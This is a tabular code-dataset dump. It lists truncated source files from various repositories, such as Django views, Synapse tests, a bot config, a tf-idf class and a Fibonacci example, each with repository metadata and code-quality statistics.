hexsha string | size int64 | ext string | lang string | max_stars_repo_path string | max_stars_repo_name string | max_stars_repo_head_hexsha string | max_stars_repo_licenses list | max_stars_count int64 | max_stars_repo_stars_event_min_datetime string | max_stars_repo_stars_event_max_datetime string | max_issues_repo_path string | max_issues_repo_name string | max_issues_repo_head_hexsha string | max_issues_repo_licenses list | max_issues_count int64 | max_issues_repo_issues_event_min_datetime string | max_issues_repo_issues_event_max_datetime string | max_forks_repo_path string | max_forks_repo_name string | max_forks_repo_head_hexsha string | max_forks_repo_licenses list | max_forks_count int64 | max_forks_repo_forks_event_min_datetime string | max_forks_repo_forks_event_max_datetime string | content string | avg_line_length float64 | max_line_length int64 | alphanum_fraction float64 | qsc_code_num_words_quality_signal int64 | qsc_code_num_chars_quality_signal float64 | qsc_code_mean_word_length_quality_signal float64 | qsc_code_frac_words_unique_quality_signal float64 | qsc_code_frac_chars_top_2grams_quality_signal float64 | qsc_code_frac_chars_top_3grams_quality_signal float64 | qsc_code_frac_chars_top_4grams_quality_signal float64 | qsc_code_frac_chars_dupe_5grams_quality_signal float64 | qsc_code_frac_chars_dupe_6grams_quality_signal float64 | qsc_code_frac_chars_dupe_7grams_quality_signal float64 | qsc_code_frac_chars_dupe_8grams_quality_signal float64 | qsc_code_frac_chars_dupe_9grams_quality_signal float64 | qsc_code_frac_chars_dupe_10grams_quality_signal float64 | qsc_code_frac_chars_replacement_symbols_quality_signal float64 | qsc_code_frac_chars_digital_quality_signal float64 | qsc_code_frac_chars_whitespace_quality_signal float64 | qsc_code_size_file_byte_quality_signal float64 | qsc_code_num_lines_quality_signal float64 | qsc_code_num_chars_line_max_quality_signal float64 | qsc_code_num_chars_line_mean_quality_signal float64 | qsc_code_frac_chars_alphabet_quality_signal float64 | qsc_code_frac_chars_comments_quality_signal float64 | qsc_code_cate_xml_start_quality_signal float64 | qsc_code_frac_lines_dupe_lines_quality_signal float64 | qsc_code_cate_autogen_quality_signal float64 | qsc_code_frac_lines_long_string_quality_signal float64 | qsc_code_frac_chars_string_length_quality_signal float64 | qsc_code_frac_chars_long_word_length_quality_signal float64 | qsc_code_frac_lines_string_concat_quality_signal float64 | qsc_code_cate_encoded_data_quality_signal float64 | qsc_code_frac_chars_hex_words_quality_signal float64 | qsc_code_frac_lines_prompt_comments_quality_signal float64 | qsc_code_frac_lines_assert_quality_signal float64 | qsc_codepython_cate_ast_quality_signal float64 | qsc_codepython_frac_lines_func_ratio_quality_signal float64 | qsc_codepython_cate_var_zero_quality_signal bool | qsc_codepython_frac_lines_pass_quality_signal float64 | qsc_codepython_frac_lines_import_quality_signal float64 | qsc_codepython_frac_lines_simplefunc_quality_signal float64 | qsc_codepython_score_lines_no_logic_quality_signal float64 | qsc_codepython_frac_lines_print_quality_signal float64 | qsc_code_num_words int64 | qsc_code_num_chars int64 | qsc_code_mean_word_length int64 | qsc_code_frac_words_unique null | qsc_code_frac_chars_top_2grams int64 | qsc_code_frac_chars_top_3grams int64 | qsc_code_frac_chars_top_4grams int64 | qsc_code_frac_chars_dupe_5grams int64 | qsc_code_frac_chars_dupe_6grams int64 | qsc_code_frac_chars_dupe_7grams int64 | qsc_code_frac_chars_dupe_8grams int64 | qsc_code_frac_chars_dupe_9grams int64 | qsc_code_frac_chars_dupe_10grams int64 | qsc_code_frac_chars_replacement_symbols int64 | qsc_code_frac_chars_digital int64 | qsc_code_frac_chars_whitespace int64 | qsc_code_size_file_byte int64 | qsc_code_num_lines int64 | qsc_code_num_chars_line_max int64 | qsc_code_num_chars_line_mean int64 | qsc_code_frac_chars_alphabet int64 | qsc_code_frac_chars_comments int64 | qsc_code_cate_xml_start int64 | qsc_code_frac_lines_dupe_lines int64 | qsc_code_cate_autogen int64 | qsc_code_frac_lines_long_string int64 | qsc_code_frac_chars_string_length int64 | qsc_code_frac_chars_long_word_length int64 | qsc_code_frac_lines_string_concat null | qsc_code_cate_encoded_data int64 | qsc_code_frac_chars_hex_words int64 | qsc_code_frac_lines_prompt_comments int64 | qsc_code_frac_lines_assert int64 | qsc_codepython_cate_ast int64 | qsc_codepython_frac_lines_func_ratio int64 | qsc_codepython_cate_var_zero int64 | qsc_codepython_frac_lines_pass int64 | qsc_codepython_frac_lines_import int64 | qsc_codepython_frac_lines_simplefunc int64 | qsc_codepython_score_lines_no_logic int64 | qsc_codepython_frac_lines_print int64 | effective string | hits int64 |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
b9a23f0e632259a7333ffd4a33e09ae80823d88e | 855 | py | Python | books/views.py | kuter/book-es-dsl-drf | 1323358bbc066c422368c1534573d5c035d14e64 | [
"MIT"
] | null | null | null | books/views.py | kuter/book-es-dsl-drf | 1323358bbc066c422368c1534573d5c035d14e64 | [
"MIT"
] | 5 | 2021-04-08T21:44:56.000Z | 2022-01-13T03:09:50.000Z | books/views.py | kuter/books-es-dsl-drf | bd764f90df5faf019bd34b2a549df2210b6162d3 | [
"MIT"
] | null | null | null | from django_filters import rest_framework as filters
from rest_framework import viewsets
from .filters import BookFilter
from .models import Author, Book, Publisher, Tag
from .serializers import (
AuthorSerializer,
BookSerializer,
PublisherSerializer,
TagSerializer,
)
class AuthorViewSet(viewsets.Mod... | 25.147059 | 53 | 0.775439 | 82 | 855 | 7.97561 | 0.402439 | 0.122324 | 0.171254 | 0.152905 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.156725 | 855 | 33 | 54 | 25.909091 | 0.907074 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.208333 | 0 | 0.791667 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 |
b9abba724aefb8aa6b6586405f84f1523cd13051 | 1,882 | py | Python | haxizhijiao/hzxi/permissions.py | 15354333388/haxizhijiao | 89bf745dc34a2fa5e91bcbd4d8ced0c5526979c0 | [
"Apache-2.0"
] | null | null | null | haxizhijiao/hzxi/permissions.py | 15354333388/haxizhijiao | 89bf745dc34a2fa5e91bcbd4d8ced0c5526979c0 | [
"Apache-2.0"
] | null | null | null | haxizhijiao/hzxi/permissions.py | 15354333388/haxizhijiao | 89bf745dc34a2fa5e91bcbd4d8ced0c5526979c0 | [
"Apache-2.0"
] | null | null | null | # coding: utf-8
# 2018-12-28 9:15
import json
from rest_framework import status
from django.shortcuts import render, redirect
from django.http import HttpResponse,JsonResponse
from . import models
from . import database
def is_login(func):
def wapper(request, *args, **kwargs):
if request.COOKIES.get('is_l... | 35.509434 | 122 | 0.613709 | 234 | 1,882 | 4.84188 | 0.303419 | 0.07767 | 0.120035 | 0.070609 | 0.549868 | 0.448367 | 0.39541 | 0.299206 | 0.165049 | 0.120035 | 0 | 0.015614 | 0.251328 | 1,882 | 53 | 123 | 35.509434 | 0.788502 | 0.015409 | 0 | 0.5 | 0 | 0 | 0.096704 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.181818 | false | 0 | 0.136364 | 0 | 0.590909 | 0.022727 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 |
b9ad0a3fea2d4984baf53c6f1b7112f1fdaca132 | 682 | py | Python | tests/inlining_test.py | gronerl/dace | 886e14cfec5df4aa28ff9a5e6c0fe8150570b8c7 | [
"BSD-3-Clause"
] | null | null | null | tests/inlining_test.py | gronerl/dace | 886e14cfec5df4aa28ff9a5e6c0fe8150570b8c7 | [
"BSD-3-Clause"
] | null | null | null | tests/inlining_test.py | gronerl/dace | 886e14cfec5df4aa28ff9a5e6c0fe8150570b8c7 | [
"BSD-3-Clause"
] | null | null | null | #!/usr/bin/env python
import dace as dp
W = dp.symbol('W')
H = dp.symbol('H')
#@dp.program
#def mirror(i):
# return -i
@dp.program
def transpose(input, output):
@dp.map(_[0:H, 0:W])
def compute(i, j):
a << input[j, i]
b >> output[i, j]
b = a
@dp.program
def bla(A, B, alpha):
... | 16.634146 | 71 | 0.513196 | 115 | 682 | 2.965217 | 0.33913 | 0.035191 | 0.140762 | 0.076246 | 0.087977 | 0.087977 | 0 | 0 | 0 | 0 | 0 | 0.028866 | 0.288856 | 682 | 40 | 72 | 17.05 | 0.674227 | 0.165689 | 0 | 0.125 | 0 | 0 | 0.017762 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.208333 | false | 0 | 0.041667 | 0 | 0.25 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
b9ad92b977bd87850cdaad1845825cf5111e1cba | 41,378 | py | Python | tests/handlers/test_user_directory.py | bb4242/synapse | 0dd0c40329cf620590b781b13d5b79332581fea7 | [
"Apache-2.0"
] | null | null | null | tests/handlers/test_user_directory.py | bb4242/synapse | 0dd0c40329cf620590b781b13d5b79332581fea7 | [
"Apache-2.0"
] | null | null | null | tests/handlers/test_user_directory.py | bb4242/synapse | 0dd0c40329cf620590b781b13d5b79332581fea7 | [
"Apache-2.0"
] | null | null | null | # Copyright 2018 New Vector
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, s... | 40.686332 | 91 | 0.646237 | 5,370 | 41,378 | 4.753073 | 0.108194 | 0.021392 | 0.042783 | 0.052186 | 0.617301 | 0.567544 | 0.541804 | 0.506895 | 0.477276 | 0.448166 | 0 | 0.01028 | 0.257093 | 41,378 | 1,016 | 92 | 40.726378 | 0.820039 | 0.20987 | 0 | 0.503794 | 0 | 0 | 0.06237 | 0.010343 | 0 | 0 | 0 | 0.001969 | 0.124431 | 1 | 0.048558 | false | 0.116844 | 0.027314 | 0 | 0.08953 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 |
b9b0900098f642b82c1ee9c7adfd9d4a8b4b6600 | 5,204 | py | Python | speedo_config.py | aviskumar/speedo | 758e8ac1fdeeb0b72c3a57742032ca5c79f0b2fa | [
"BSD-3-Clause"
] | null | null | null | speedo_config.py | aviskumar/speedo | 758e8ac1fdeeb0b72c3a57742032ca5c79f0b2fa | [
"BSD-3-Clause"
] | null | null | null | speedo_config.py | aviskumar/speedo | 758e8ac1fdeeb0b72c3a57742032ca5c79f0b2fa | [
"BSD-3-Clause"
] | 3 | 2021-10-12T08:17:01.000Z | 2021-12-21T01:17:54.000Z | # IF YOU ARE HOSTING SPEEDOBOT ON OTHER VPS OR LOCALLY RATHER THAN HEROKU
# THEN DON'T EDIT THIS FILE.
# GO AND EDIT ex_config.py AND RENAME IT TO config.py
# AND FILL THE REQUIRED VARS THERE.
# ONCE AGAIN!!
# """DO NOT EDIT THIS FILE"""
import os
from telethon.tl.types import ChatBannedRights
class Config(object):... | 46.882883 | 112 | 0.703497 | 799 | 5,204 | 4.285357 | 0.252816 | 0.168224 | 0.224299 | 0.024533 | 0.15479 | 0.083528 | 0.059579 | 0.059579 | 0.040304 | 0.025701 | 0 | 0.006156 | 0.157187 | 5,204 | 110 | 113 | 47.309091 | 0.773826 | 0.044773 | 0 | 0.020833 | 0 | 0 | 0.233125 | 0.04594 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.020833 | 0 | 0.770833 | 0 | 0 | 0 | 0 | null | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
b9b48c932102c14b38aa7f72956629db8186b64f | 1,384 | py | Python | HW/4/extension/weight.py | houzeyu2683/IRRHW | c44298ad14c468eff36bc75ebc63abdc9ba24d55 | [
"Apache-2.0"
] | null | null | null | HW/4/extension/weight.py | houzeyu2683/IRRHW | c44298ad14c468eff36bc75ebc63abdc9ba24d55 | [
"Apache-2.0"
] | null | null | null | HW/4/extension/weight.py | houzeyu2683/IRRHW | c44298ad14c468eff36bc75ebc63abdc9ba24d55 | [
"Apache-2.0"
] | 1 | 2022-01-16T03:40:34.000Z | 2022-01-16T03:40:34.000Z |
import numpy
import pandas
class weight:
def __init__(self, matrix):
self.matrix = matrix.iloc[:,1:].to_numpy()
self.term = matrix.iloc[:,0].tolist()
self.document = matrix.iloc[:,1:].columns.tolist()
return
def transform(self, what='tf-idf'):
if(what=='tf'):
... | 24.714286 | 91 | 0.50578 | 150 | 1,384 | 4.633333 | 0.266667 | 0.100719 | 0.103597 | 0.107914 | 0.463309 | 0.463309 | 0.371223 | 0.371223 | 0.371223 | 0.371223 | 0 | 0.011299 | 0.360549 | 1,384 | 55 | 92 | 25.163636 | 0.774011 | 0 | 0 | 0.394737 | 0 | 0 | 0.01809 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.052632 | false | 0.131579 | 0.052632 | 0 | 0.157895 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 |
b9b7ae376dc3da138c01c8dc08877c8c3a1044a4 | 532 | py | Python | fibonacci.py | SlimyMonkey/divePython | 2a9e7c4ee2c5b6bc995eabb718ed417cb76da1a5 | [
"CNRI-Python-GPL-Compatible"
] | 1 | 2017-03-07T05:50:12.000Z | 2017-03-07T05:50:12.000Z | fibonacci.py | SlimyMonkey/divePython | 2a9e7c4ee2c5b6bc995eabb718ed417cb76da1a5 | [
"CNRI-Python-GPL-Compatible"
] | null | null | null | fibonacci.py | SlimyMonkey/divePython | 2a9e7c4ee2c5b6bc995eabb718ed417cb76da1a5 | [
"CNRI-Python-GPL-Compatible"
] | null | null | null | """Fibonacci sequences using generators
This program is part of "Dive Into Python", a free Python book for
experienced programmers. Visit http://diveintopython.org/ for the
latest version.
"""
__author__ = "Mark Pilgrim (mark@diveintopython.org)"
__version__ = "$Revision: 1.2 $"
__date__ = "$Date: 2004/05/05 21:57:1... | 24.181818 | 66 | 0.674812 | 77 | 532 | 4.402597 | 0.649351 | 0.017699 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.061466 | 0.204887 | 532 | 21 | 67 | 25.333333 | 0.739953 | 0 | 0 | 0 | 0 | 0 | 0.352071 | 0.073965 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0 | null | null | 0.083333 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
b9bb2d05fa2b6bbaf1d990ada07c3919536e06b2 | 4,560 | py | Python | pytorch_lrp/rule_search.py | edraizen/Pytorch-LRP | 7d55a8680dc2725b1645e2221273c7b37c411523 | [
"BSD-3-Clause"
] | null | null | null | pytorch_lrp/rule_search.py | edraizen/Pytorch-LRP | 7d55a8680dc2725b1645e2221273c7b37c411523 | [
"BSD-3-Clause"
] | null | null | null | pytorch_lrp/rule_search.py | edraizen/Pytorch-LRP | 7d55a8680dc2725b1645e2221273c7b37c411523 | [
"BSD-3-Clause"
] | null | null | null | import os, sys
os.environ["NCCL_DEBUG"]="INFO"
sys.path.append('/project/ppi_workspace/toil-env36/lib/python3.6/site-packages')
sys.path.append("/home/ed4bu/BSP-LRP")
import uuid
from itertools import product
from torch import nn
from scorer import ProteinScorer, gmean
from Models2 import AutoencoderModel
from pytor... | 38.974359 | 102 | 0.606579 | 552 | 4,560 | 4.786232 | 0.373188 | 0.021196 | 0.028766 | 0.039743 | 0.087812 | 0.03028 | 0.03028 | 0 | 0 | 0 | 0 | 0.010059 | 0.258772 | 4,560 | 116 | 103 | 39.310345 | 0.771598 | 0 | 0 | 0 | 0 | 0 | 0.167151 | 0.049832 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0.095745 | null | null | 0.053191 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
b9bc987c6c5464629f90cd8750fb0dbe8631cb74 | 727 | py | Python | app/utils.py | Verbarius/LMS | c2a256cc4346dfb1c59ffed729e8d4794eddf0b6 | [
"MIT"
] | null | null | null | app/utils.py | Verbarius/LMS | c2a256cc4346dfb1c59ffed729e8d4794eddf0b6 | [
"MIT"
] | null | null | null | app/utils.py | Verbarius/LMS | c2a256cc4346dfb1c59ffed729e8d4794eddf0b6 | [
"MIT"
] | null | null | null | import re
def count_digits(password):
return sum(character.isdigit() for character in password)
def valid_password(password):
if len(password) >= 8 and password.isalnum() and count_digits(password) >= 2:
return True
return False
def get_user_info(user):
return {
"phone": user.telep... | 22.71875 | 81 | 0.643741 | 93 | 727 | 4.870968 | 0.419355 | 0.048565 | 0.083885 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.003597 | 0.235213 | 727 | 31 | 82 | 23.451613 | 0.811151 | 0 | 0 | 0 | 0 | 0 | 0.11967 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.173913 | false | 0.173913 | 0.043478 | 0.086957 | 0.434783 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 |
b9c203507a927b621042ec17d0533b43e71d5baf | 1,494 | py | Python | src/osipidce/dce_models/DCEModelETM.py | michaelberks/OSIPI-DCE-DSC-toolbox | 60690aafab06e253601588396c2cdf683f705b82 | [
"Apache-2.0"
] | null | null | null | src/osipidce/dce_models/DCEModelETM.py | michaelberks/OSIPI-DCE-DSC-toolbox | 60690aafab06e253601588396c2cdf683f705b82 | [
"Apache-2.0"
] | null | null | null | src/osipidce/dce_models/DCEModelETM.py | michaelberks/OSIPI-DCE-DSC-toolbox | 60690aafab06e253601588396c2cdf683f705b82 | [
"Apache-2.0"
] | null | null | null | /**
* @file mdm_DCEModelETM.h
* @brief Implements the extended-Tofts model.
*
* See git repository wiki for scientific discussion of models.
*
* Original author MA Berks 24 Oct 2018
* (c) Copyright QBI, University of Manchester 2018
*/
#ifndef MDM_DCEMODELETM_HDR
#define MDM_DCEMODELETM_HDR
#include "mdm_api.h... | 28.188679 | 107 | 0.698795 | 198 | 1,494 | 5.136364 | 0.414141 | 0.106195 | 0.082596 | 0.073746 | 0.295969 | 0.129794 | 0.129794 | 0.129794 | 0 | 0 | 0 | 0.018791 | 0.180723 | 1,494 | 52 | 108 | 28.730769 | 0.812092 | 0.107764 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0 | null | null | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
b9c497031e7b9d9ea79289253a5c8de7287310af | 8,970 | py | Python | tests/rules/test_dnf_no_such_command.py | earboxer/thefrick | 81ec3fb98c00ec249166dbe179cc16c7350cc103 | [
"MIT"
] | null | null | null | tests/rules/test_dnf_no_such_command.py | earboxer/thefrick | 81ec3fb98c00ec249166dbe179cc16c7350cc103 | [
"MIT"
] | null | null | null | tests/rules/test_dnf_no_such_command.py | earboxer/thefrick | 81ec3fb98c00ec249166dbe179cc16c7350cc103 | [
"MIT"
] | null | null | null | from io import BytesIO
import pytest
from thefrick.types import Command
from thefrick.rules.dnf_no_such_command import match, get_new_command, _get_operations
help_text = b'''usage: dnf [options] COMMAND
List of Main Commands:
autoremove remove all unneeded packages that were originally installed as ... | 46.963351 | 113 | 0.623523 | 969 | 8,970 | 5.73065 | 0.356037 | 0.012966 | 0.009004 | 0.018008 | 0.058347 | 0.029173 | 0.029173 | 0 | 0 | 0 | 0 | 0.00065 | 0.313824 | 8,970 | 190 | 114 | 47.210526 | 0.901543 | 0 | 0 | 0.047619 | 0 | 0.005952 | 0.84136 | 0.007469 | 0 | 0 | 0 | 0 | 0.02381 | 1 | 0.041667 | false | 0 | 0.029762 | 0.005952 | 0.083333 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
b9c4d9c5c9337da77d64c10537ae8b7123d17cd8 | 363 | py | Python | apps/article/migrations/0009_rename_tag_article_tags.py | hashqueue/drf_vue_blog | cd36412135373faa555e9a90fae5fc491c67f12b | [
"MIT"
] | null | null | null | apps/article/migrations/0009_rename_tag_article_tags.py | hashqueue/drf_vue_blog | cd36412135373faa555e9a90fae5fc491c67f12b | [
"MIT"
] | null | null | null | apps/article/migrations/0009_rename_tag_article_tags.py | hashqueue/drf_vue_blog | cd36412135373faa555e9a90fae5fc491c67f12b | [
"MIT"
] | null | null | null | # Generated by Django 3.2.7 on 2021-09-04 21:48
from django.db import migrations
class Migration(migrations.Migration):
dependencies = [
('article', '0008_alter_article_category'),
]
operations = [
migrations.RenameField(
model_name='article',
old_name='tag',
... | 19.105263 | 51 | 0.584022 | 39 | 363 | 5.282051 | 0.794872 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.075099 | 0.30303 | 363 | 18 | 52 | 20.166667 | 0.73913 | 0.123967 | 0 | 0 | 1 | 0 | 0.151899 | 0.085443 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.083333 | 0 | 0.333333 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
b9c7a4c0b603e226c3bcd09c76b3d8b62cf8742c | 13,113 | py | Python | modules/nltk_contrib/tiger/query/result.py | h4ck3rm1k3/NLP-project | aeba6302f60d27a8b9e65ad28d2d74e1276c7cd6 | [
"MIT"
] | 123 | 2015-01-06T10:46:18.000Z | 2022-02-01T10:05:16.000Z | nltk_contrib/tiger/query/result.py | silky/nltk_contrib | c152bde901f05915e90b07a615b232adb123bed8 | [
"Apache-2.0"
] | 12 | 2015-01-13T06:27:18.000Z | 2020-07-30T23:00:41.000Z | nltk_contrib/tiger/query/result.py | silky/nltk_contrib | c152bde901f05915e90b07a615b232adb123bed8 | [
"Apache-2.0"
] | 114 | 2015-01-13T04:47:49.000Z | 2021-11-13T08:16:02.000Z | # -*- coding: utf-8 -*-
# Copyright © 2007-2008 Stockholm TreeAligner Project
# Author: Torsten Marek <shlomme@gmx.net>
# Licensed under the GNU GPLv2
"""This module contains classes for building result sets for TIGERSearch queries .
The result builder classes evaluate a TigerSearch query based on the internal
represe... | 38.230321 | 119 | 0.619767 | 1,475 | 13,113 | 5.225763 | 0.194576 | 0.031136 | 0.013492 | 0.010379 | 0.177218 | 0.145044 | 0.113908 | 0.093928 | 0.093928 | 0.093928 | 0 | 0.005356 | 0.302295 | 13,113 | 342 | 120 | 38.342105 | 0.837031 | 0.010829 | 0 | 0.173228 | 0 | 0 | 0.019931 | 0.001722 | 0 | 0 | 0 | 0.002924 | 0 | 0 | null | null | 0 | 0.035433 | null | null | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
b9c93aa3e25a798abb8183927b619d4abb19fd83 | 2,065 | py | Python | src/coolbeans/importers/statementfiling.py | runarp/coolbeans | 128a7f2e45690d2d22b05608e555c44334f46859 | [
"MIT"
] | 5 | 2020-05-17T04:48:25.000Z | 2022-01-27T09:36:45.000Z | src/coolbeans/importers/statementfiling.py | runarp/coolbeans | 128a7f2e45690d2d22b05608e555c44334f46859 | [
"MIT"
] | 1 | 2020-05-17T06:21:52.000Z | 2020-05-22T13:49:33.000Z | src/coolbeans/importers/statementfiling.py | runarp/coolbeans | 128a7f2e45690d2d22b05608e555c44334f46859 | [
"MIT"
] | 1 | 2021-01-28T03:00:27.000Z | 2021-01-28T03:00:27.000Z | """
This Importer doesn't actually import. It just provides
a parser to identify the account/date related to a file
provided that the file is in a certain format.
YYYY-MM-DD.SLUG.TYPE.EXT
If there's a meta['slug'] on any account directive that lines up
with this account, we will identify the file.
"""
import dateti... | 27.171053 | 89 | 0.662954 | 290 | 2,065 | 4.582759 | 0.372414 | 0.072235 | 0.036117 | 0.048157 | 0.054176 | 0.039127 | 0 | 0 | 0 | 0 | 0 | 0 | 0.238741 | 2,065 | 75 | 90 | 27.533333 | 0.84542 | 0.194673 | 0 | 0.068182 | 0 | 0 | 0.109489 | 0.034672 | 0 | 0 | 0 | 0 | 0.045455 | 1 | 0.159091 | false | 0 | 0.227273 | 0.022727 | 0.568182 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 |
b9ca50601634f999754ce841d614db977eb02e69 | 1,358 | py | Python | funcsim/dependence.py | tercenya/funcsim | 36fb837cfc7f8ab7ff0c216c8c4ab3a476e4ca5c | [
"BSD-3-Clause"
] | null | null | null | funcsim/dependence.py | tercenya/funcsim | 36fb837cfc7f8ab7ff0c216c8c4ab3a476e4ca5c | [
"BSD-3-Clause"
] | null | null | null | funcsim/dependence.py | tercenya/funcsim | 36fb837cfc7f8ab7ff0c216c8c4ab3a476e4ca5c | [
"BSD-3-Clause"
] | null | null | null | import numpy as np
from scipy import stats
def _memoize(f):
# custom memoization decorator for _makeA, which works around the
# fact that a numpy array is not inherently hashable
class memodict(dict):
def __init__(self, f):
self.f = f
def __call__(self, sig):
key =... | 30.177778 | 70 | 0.648748 | 194 | 1,358 | 4.474227 | 0.484536 | 0.069124 | 0.092166 | 0.110599 | 0.119816 | 0 | 0 | 0 | 0 | 0 | 0 | 0.001974 | 0.25405 | 1,358 | 44 | 71 | 30.863636 | 0.854886 | 0.231222 | 0 | 0 | 0 | 0 | 0.115718 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.206897 | false | 0 | 0.068966 | 0.034483 | 0.482759 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
b9cb79a600818faed8b69809030cf649b66e6068 | 526 | py | Python | dlutils/utils.py | fmi-basel/dl-utils | 15bbb7672314d72abc7c3f7fc86655401cde5eb6 | [
"MIT"
] | null | null | null | dlutils/utils.py | fmi-basel/dl-utils | 15bbb7672314d72abc7c3f7fc86655401cde5eb6 | [
"MIT"
